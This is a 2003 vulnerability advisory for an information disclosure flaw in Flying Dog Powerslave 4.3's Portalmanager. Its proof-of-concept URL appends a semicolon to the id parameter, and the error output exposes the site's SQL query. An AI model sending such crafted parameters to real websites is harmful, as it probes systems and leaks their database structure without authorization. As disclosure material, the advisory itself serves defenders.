Flying Dog Powerslave Portalmanager sql_id Information Disclosure Vulnerability

Bugtraq ID:	8659
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 19 2003 12:00AM
Updated:	Sep 19 2003 12:00AM
Credit:	The disclosure of this vulnerability is credited to H Zero Seven <http://www.h07.org>.
Vulnerable:	Flying Dog Software Powerslave 4.3
Not Vulnerable:

Flying Dog Powerslave Portalmanager sql_id Information Disclosure Vulnerability

The following proof of concept was provided:

http://www.example.com/powerslave,id,10;,nodeid,,_language,uk.html
|
|- ; or modified querys
and table-numbers.

Error: Could't find article!
SELECT example_table.* FROM example_table WHERE example_table.ID=10;

Flying Dog Powerslave Portalmanager sql_id Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Flying Dog Powerslave Portalmanager sql_id Information Disclosure Vulnerability

References:

• Powerslave (Flying Dog Software)